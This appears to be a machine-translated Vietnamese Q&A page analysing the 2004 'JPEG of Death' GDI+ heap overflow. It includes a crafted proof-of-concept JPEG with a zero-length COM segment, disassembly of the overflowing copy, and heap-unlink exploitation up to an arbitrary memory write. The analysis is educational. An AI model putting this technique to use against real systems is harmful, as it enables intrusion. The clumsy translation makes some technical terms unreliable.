2015-02-06 20 views
94

Tôi đã đọc về một khai thác cũ hơn chống lại GDI + trên Windows   XP và Windows Server 2003 được gọi là JPEG về cái chết cho một dự án tôi đang làm việc.Lỗ hổng JPEG của Death hoạt động như thế nào?

Các khai thác được giải thích trong các liên kết sau đây: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

Về cơ bản, một file JPEG chứa một phần gọi là COM chứa một (có thể rỗng) lĩnh vực bình luận, và một giá trị hai byte chứa kích thước của COM. Nếu không có ý kiến, kích thước là 2. Người đọc (GDI +) đọc kích thước, trừ hai, và phân bổ một bộ đệm có kích thước thích hợp để sao chép các nhận xét trong heap. Cuộc tấn công liên quan đến việc đặt giá trị 0 vào trường. GDI + trừ 2, dẫn đến giá trị -2 (0xFFFe) được chuyển thành số nguyên không dấu 0XFFFFFFFE bởi memcpy.

Mẫu mã:

unsigned int size; 
size = len - 2; 
char *comment = (char *)malloc(size + 1); 
memcpy(comment, src, size); 

Quan sát rằng malloc(0) trên dòng thứ ba phải trả lại một con trỏ tới bộ nhớ chưa phân bổ trên heap. Làm thế nào có thể viết 0XFFFFFFFE byte (4GB !!!!) có thể không sụp đổ chương trình? Điều này có viết vượt ra ngoài vùng heap và vào không gian của các chương trình khác và hệ điều hành không? Chuyện gì xảy ra sau đó?

Khi tôi hiểu memcpy, nó chỉ cần sao chép n ký tự từ đích đến nguồn. Trong trường hợp này, nguồn phải nằm trên ngăn xếp, đích trên heap và n4GB.

+0

malloc sẽ phân bổ bộ nhớ từ đống. tôi nghĩ rằng việc khai thác đã được thực hiện trước khi memcpy và sau khi bộ nhớ được phân bổ – iedoc

+0

cũng giống như một lưu ý phụ: nó * không * memcpy cái gì thúc đẩy giá trị cho một số nguyên không dấu (4 byte), mà là phép trừ. – rev

+1

Đã cập nhật câu trả lời trước của tôi bằng một ví dụ trực tiếp. Kích thước 'malloc'ed chỉ là 2 byte chứ không phải là' 0xFFFFFFFE'. Kích thước khổng lồ này chỉ được sử dụng cho kích thước bản sao, không phải cho kích thước phân bổ. – Neitsa

Trả lời

3

Vì tôi không biết mã từ GDI, dưới đây chỉ là suy đoán. Vâng, một điều mà hiện lên trong tâm trí là một hành vi mà tôi đã nhận thấy trên một số hệ điều hành (Tôi không biết nếu Windows   XP có điều này) là khi phân bổ mới/malloc, bạn thực sự có thể phân bổ nhiều hơn RAM của bạn, miễn là bạn không ghi vào bộ nhớ đó.

Đây thực sự là hành vi của hạt nhân Linux.

Từ www.kernel.org:

trang trong quá trình không gian địa chỉ tuyến tính không nhất thiết phải thường trú trong bộ nhớ. Ví dụ, phân bổ được thực hiện thay mặt cho một quá trình không hài lòng ngay lập tức vì không gian chỉ được dành riêng trong vm_area_struct.

Để truy cập vào bộ nhớ thường trú, lỗi trang phải được kích hoạt.

Về cơ bản bạn cần để làm cho bộ nhớ bẩn trước khi nó thực sự được phân bổ trên hệ thống:

unsigned int size=-1; 
    char* comment = new char[size]; 

Đôi khi nó sẽ không thực sự tạo ra một phân bổ thực trong RAM (chương trình của bạn sẽ vẫn không sử dụng 4   GB). Tôi biết tôi đã nhìn thấy hành vi này trên Linux, nhưng tôi không thể sao chép nó ngay bây giờ trên cài đặt Windows   7 của tôi.

Bắt đầu từ hành vi này, kịch bản sau có thể xảy ra.

Để làm cho bộ nhớ có sẵn trong RAM bạn cần để làm cho nó bẩn (về cơ bản memset hoặc một số ghi khác với nó):

memset(comment, 0, size); 

Tuy nhiên, lỗ hổng khai thác một lỗi tràn bộ đệm, không phải là một thất bại phân bổ.

Nói cách khác, nếu tôi muốn là để có điều này:

unsinged int size =- 1; 
char* p = new char[size]; // Will not crash here 
memcpy(p, some_buffer, size); 

này sẽ dẫn đến một ghi sau khi đệm, vì không có những điều như một phân khúc 4   GB bộ nhớ liên tục.

Bạn không đặt bất kỳ thứ gì vào p để làm cho toàn bộ 4   GB bộ nhớ bị bẩn và tôi không biết liệu memcpy có làm cho bộ nhớ bị hỏng cùng một lúc hay chỉ trang theo từng trang.).

Cuối cùng nó sẽ kết thúc ghi đè lên khung ngăn xếp (Stack Buffer Overflow).

Một lỗ hổng có thể xảy ra khác là nếu ảnh được lưu trong bộ nhớ dưới dạng mảng byte (đọc toàn bộ tệp vào bộ đệm) và nhận xét sizeof chỉ được sử dụng để bỏ qua thông tin không quan trọng.

Ví dụ

 unsigned int commentsSize = -1; 
    char* wholePictureBytes; // Has size of file 
    ... 
    // Time to start processing the output color 
    char* p = wholePictureButes; 
    offset = (short) p[COM_OFFSET]; 
    char* dataP = p + offset; 
    dataP[0] = EvilHackerValue; // Vulnerability here 

Như bạn nói, nếu GDI không phân bổ kích thước đó, chương trình sẽ không bao giờ sụp đổ.

+4

Điều đó có thể là với một hệ thống 64-bit, nơi 4GB không phải là một vấn đề lớn (nói về không gian addess). Nhưng trong một hệ thống 32-bit, (chúng có vẻ dễ bị tổn thương quá), bạn không thể dự trữ không gian địa chỉ 4GB, bởi vì đó sẽ là tất cả! Vì vậy, một 'malloc (-1U)' chắc chắn sẽ thất bại, trả về 'NULL' và' memcpy() 'sẽ sụp đổ. – rodrigo

+8

Tôi không nghĩ rằng dòng này là đúng: "Cuối cùng nó sẽ kết thúc bằng văn bản vào một địa chỉ quy trình." Thông thường một quá trình không thể truy cập bộ nhớ của người khác. Xem [Lợi ích MMU] (http://en.wikipedia.org/wiki/Memory_management_unit#Benefits). –

+0

@MMU Lợi ích có, bạn nói đúng. Tôi đã có nghĩa là để nói rằng sẽ đi qua ranh giới heap bình thường và bắt đầu ghi đè lên các khung stack. Tôi sẽ chỉnh sửa câu trả lời của tôi, cảm ơn vì đã chỉ ra nó. – MichaelCMS

92

Lỗ hổng này chắc chắn là heap overflow.

Cách viết 0XFFFFFFFE byte (4 GB !!!!) có thể không làm hỏng chương trình?

Có thể, nhưng đôi khi bạn có thời gian để khai thác trước khi xảy ra sự cố (đôi khi, bạn có thể đưa chương trình trở lại thực thi bình thường và tránh sự cố).

Khi memcpy() bắt đầu, bản sao sẽ ghi đè lên một số khối heap khác hoặc một số phần của cấu trúc quản lý heap (ví dụ: danh sách miễn phí, danh sách bận, v.v.).

Tại một số điểm, bản sao sẽ gặp phải trang không được phân bổ và kích hoạt vi phạm AV (Vi phạm Truy cập) khi viết. GDI + sau đó sẽ cố gắng phân bổ một khối mới trong heap (xem ntdll!RtlAllocateHeap) ... nhưng các cấu trúc heap bây giờ tất cả điều sai lầm.

Tại thời điểm đó, bằng cách cẩn thận tạo hình ảnh JPEG của bạn, bạn có thể ghi đè cấu trúc quản lý heap bằng dữ liệu được kiểm soát. Khi hệ thống cố gắng phân bổ khối mới, nó có thể sẽ hủy liên kết một khối (miễn phí) khỏi danh sách miễn phí.

Khối được quản lý với (đáng chú ý) một cú đánh (liên kết Chuyển tiếp; khối tiếp theo trong danh sách) và nhấp nháy (liên kết ngược; khối trước trong danh sách) con trỏ. Nếu bạn kiểm soát cả hai cái nháy mắt và chớp mắt, bạn có thể có một WRITE4 (viết điều kiện gì/ở đâu) nơi bạn kiểm soát những gì bạn có thể viết và nơi bạn có thể viết.

Tại thời điểm đó bạn có thể ghi đè lên một con trỏ hàm (SEH [Structured Exception Handlers] con trỏ là mục tiêu lựa chọn tại thời điểm đó vào năm 2004) và thực thi mã.

Xem bài đăng trên blog Heap Corruption: A Case Study. Lưu ý: mặc dù tôi đã viết về khai thác bằng cách sử dụng freelist, kẻ tấn công có thể chọn một đường dẫn khác bằng siêu dữ liệu heap khác ("siêu dữ liệu heap" là các cấu trúc được hệ thống sử dụng để quản lý vùng heap, nhấp nháy và nhấp nháy là một phần của đống siêu dữ liệu), nhưng việc khai thác hủy liên kết có lẽ là khai thác "dễ nhất". Một tìm kiếm google cho "khai thác đống" sẽ trả lại nhiều nghiên cứu về điều này.

Điều này có vượt quá vùng heap và vào không gian của các chương trình khác và hệ điều hành không?

Không bao giờ. Hệ điều hành hiện đại dựa trên khái niệm không gian địa chỉ ảo nên mỗi tiến trình có không gian địa chỉ ảo riêng cho phép giải quyết tối đa 4 gigabyte bộ nhớ trên hệ thống 32 bit (trong thực tế bạn chỉ có một nửa trong số đó là người dùng) phần còn lại dành cho hạt nhân).

Tóm lại, một quá trình không thể truy cập bộ nhớ của một tiến trình khác (trừ khi nó hỏi hạt nhân thông qua một số dịch vụ/API, nhưng hạt nhân sẽ kiểm tra xem người gọi có quyền làm như vậy) không.


Tôi quyết định kiểm tra lỗ hổng này vào cuối tuần này, vì vậy chúng tôi có thể có ý tưởng hay về những gì đang diễn ra thay vì đầu cơ thuần túy. Tính dễ bị tổn thương hiện nay là 10 tuổi, vì vậy tôi nghĩ rằng đã OK khi viết về nó, mặc dù tôi chưa giải thích phần khai thác trong câu trả lời này.

Kế hoạch

Nhiệm vụ khó khăn nhất là tìm một Windows XP với chỉ SP1, vì nó là năm 2004 :)

Sau đó, tôi đã tải về một hình ảnh JPEG chỉ gồm các một điểm ảnh duy nhất, như được hiển thị bên dưới (cắt cho ngắn gọn):

File 1x1_pixel.JPG 
Address Hex dump           ASCII 
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF ` 
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II 
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *   ÿÛ C 
[...] 

Ảnh JPEG bao gồm các dấu nhị phân (phân đoạn intrduce). Trong hình trên, FF D8 là điểm đánh dấu SOI (Start Of Image), trong khi FF E0, ví dụ, là một điểm đánh dấu ứng dụng.

Tham số đầu tiên trong đoạn đánh dấu (ngoại trừ một số điểm đánh dấu như SOI) là tham số chiều dài hai byte mã hóa số byte trong đoạn nhãn, bao gồm tham số độ dài và loại trừ điểm đánh dấu hai byte.

Tôi chỉ cần thêm điểm đánh dấu COM (0x FFFE) ngay sau SOI, vì điểm đánh dấu không có thứ tự nghiêm ngặt.

File 1x1_pixel_comment_mod1.JPG 
Address Hex dump           ASCII 
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100 
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500 
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900 
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00 
[...] 

Độ dài của đoạn COM được đặt thành 00 00 để kích hoạt lỗ hổng. Tôi cũng đã tiêm 0xFFFC byte ngay sau dấu COM với một mẫu định kỳ, một số 4 byte trong hex, sẽ trở nên hữu ích khi "khai thác" lỗ hổng bảo mật.

Debugging

nhấp đúp vào hình ảnh ngay lập tức sẽ kích hoạt các lỗi trong cấu trúc hệ thống (hay còn gọi là "explorer.exe"), ở đâu đó trong gdiplus.dll, trong một hàm có tên GpJpegDecoder::read_jpeg_marker().

Chức năng này được gọi cho mỗi điểm đánh dấu trong ảnh, đơn giản là: đọc kích thước đoạn nhãn, phân bổ bộ đệm có chiều dài là kích thước phân đoạn và sao chép nội dung của phân đoạn vào bộ đệm mới được cấp phát này.

Đây là sự khởi đầu của hàm:

.text:70E199D5 mov  ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance) 
.text:70E199D8 push esi 
.text:70E199D9 mov  esi, [ebx+18h] 
.text:70E199DC mov  eax, [esi]  ; eax = pointer to segment size 
.text:70E199DE push edi 
.text:70E199DF mov  edi, [esi+4] ; edi = bytes left to process in the image 

eax điểm đăng ký để kích thước phân đoạn và edi là số byte còn lại trong hình ảnh.

Mã này sau đó tiến hành đọc kích thước phân đoạn, bắt đầu bằng byte quan trọng nhất (chiều dài là một giá trị 16-bit):

.text:70E199F7 xor  ecx, ecx  ; segment_size = 0 
.text:70E199F9 mov  ch, [eax]  ; get most significant byte from size --> CH == 00 
.text:70E199FB dec  edi    ; bytes_to_process -- 
.text:70E199FC inc  eax    ; pointer++ 
.text:70E199FD test edi, edi 
.text:70E199FF mov  [ebp+arg_0], ecx ; save segment_size 

Và byte trọng số thấp nhất:

.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0 
.text:70E19A19 add  [ebp+arg_0], ecx ; save segment_size 
.text:70E19A1C mov  ecx, [ebp+lpMem] 
.text:70E19A1F inc  eax    ; pointer ++ 
.text:70E19A20 mov  [esi], eax 
.text:70E19A22 mov  eax, [ebp+arg_0] ; eax = segment_size 

Khi việc này được thực hiện, kích thước phân đoạn được sử dụng để phân bổ bộ đệm, theo tính toán sau:

alloc_size = segment_size + 2

này được thực hiện bởi các mã bên dưới:

.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit) 
.text:70E19A2D add  eax, 2 
.text:70E19A30 mov  [ecx], ax 
.text:70E19A33 lea  eax, [esi+2] ; alloc_size = segment_size + 2 
.text:70E19A36 push eax    ; dwBytes 
.text:70E19A37 call [email protected]  ; GpMalloc(x) 

Trong trường hợp của chúng tôi, như kích thước phân đoạn là 0, kích thước phân bổ cho các bộ đệm là 2 byte.

Lỗ hổng là ngay sau khi việc phân bổ:

.text:70E19A37 call [email protected]  ; GpMalloc(x) 
.text:70E19A3C test eax, eax 
.text:70E19A3E mov  [ebp+lpMem], eax ; save pointer to allocation 
.text:70E19A41 jz  loc_70E19AF1 
.text:70E19A47 mov  cx, [ebp+arg_4] ; low marker byte (0xFE) 
.text:70E19A4B mov  [eax], cx   ; save in alloc (offset 0) 
;[...] 
.text:70E19A52 lea  edx, [esi-2]  ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!! 
;[...] 
.text:70E19A61 mov  [ebp+arg_0], edx 

Mã này chỉ đơn giản là trừ kích thước segment_size (chiều dài bộ phận là một giá trị 2 byte) từ kích thước phân đoạn toàn bộ (0 trong trường hợp của chúng tôi) và kết thúc với một số nguyên underflow: 0-2 = 0xFFFFFFFE

mã này sau đó kiểm tra là có byte còn lại để phân tích cú pháp trong hình ảnh (đó là sự thật), và sau đó nhảy đến bản sao:

.text:70E19A69 mov  ecx, [eax+4] ; ecx = bytes left to parse (0x133) 
.text:70E19A6C cmp  ecx, edx  ; edx = 0xFFFFFFFE 
.text:70E19A6E jg  short loc_70E19AB4 ; take jump to copy 
;[...] 
.text:70E19AB4 mov  eax, [ebx+18h] 
.text:70E19AB7 mov  esi, [eax]  ; esi = source = points to segment content ("0000000100020003...") 
.text:70E19AB9 mov  edi, dword ptr [ebp+arg_4] ; edi = destination buffer 
.text:70E19ABC mov  ecx, edx  ; ecx = copy size = segment content size = 0xFFFFFFFE 
.text:70E19ABE mov  eax, ecx 
.text:70E19AC0 shr  ecx, 2   ; size/4 
.text:70E19AC3 rep movsd    ; copy segment content by 32-bit chunks 

Đoạn mã trên cho thấy kích thước bản sao là các khối 32 bit 0xFFFFFFFE. Bộ đệm nguồn được kiểm soát (nội dung của hình ảnh) và đích đến là một bộ đệm trên heap.

Viết trạng

Bản sao sẽ kích hoạt một vi phạm truy cập (AV) ngoại lệ khi nó đạt đến cuối trang bộ nhớ (điều này có thể là một trong hai từ con trỏ nguồn hoặc con trỏ đích). Khi AV được kích hoạt, heap đã ở trạng thái dễ bị tấn công bởi vì bản sao đã ghi đè tất cả các khối đống sau cho đến khi một trang không được ánh xạ gặp phải.

Điều gì làm cho lỗi này có thể khai thác là 3 SEH (Trình xử lý ngoại lệ có cấu trúc; đây là thử/ngoại trừ ở mức thấp) đang bắt ngoại lệ trên phần này của mã. Chính xác hơn, SEH thứ nhất sẽ giải phóng ngăn xếp để nó trở lại phân tích cú pháp đánh dấu JPEG khác, do đó hoàn toàn bỏ qua điểm đánh dấu đã kích hoạt ngoại lệ.

Nếu không có mã SEH, mã sẽ vừa bị hỏng toàn bộ chương trình. Vì vậy, mã bỏ qua phân đoạn COM và phân tích cú pháp phân đoạn khác.Vì vậy, chúng tôi lấy lại cho GpJpegDecoder::read_jpeg_marker() với một phân khúc mới và khi mã phân bổ một bộ đệm mới:

.text:70E19A33 lea  eax, [esi+2] ; alloc_size = semgent_size + 2 
.text:70E19A36 push eax    ; dwBytes 
.text:70E19A37 call [email protected]  ; GpMalloc(x) 

Hệ thống sẽ bỏ liên kết một khối từ danh sách miễn phí. Nó xảy ra rằng cấu trúc siêu dữ liệu bị ghi đè bởi nội dung của hình ảnh; vì vậy chúng tôi kiểm soát việc hủy liên kết với siêu dữ liệu được kiểm soát. Mã dưới đây vào đâu đó trong hệ thống (ntdll) trong quản lý đống:

CPU Disasm 
Address Command         Comments 
77F52CBF MOV ECX,DWORD PTR DS:[EAX]    ; eax points to '0003' ; ecx = 0x33303030 
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX   ; save ecx 
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4]    ; [eax+4] points to '0004' ; eax = 0x34303030 
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX 
77F52CD0 MOV DWORD PTR DS:[EAX],ECX    ; write 0x33303030 to 0x34303030!!! 

Bây giờ chúng ta có thể viết những gì chúng tôi muốn, nơi mà chúng tôi muốn ...

Các vấn đề liên quan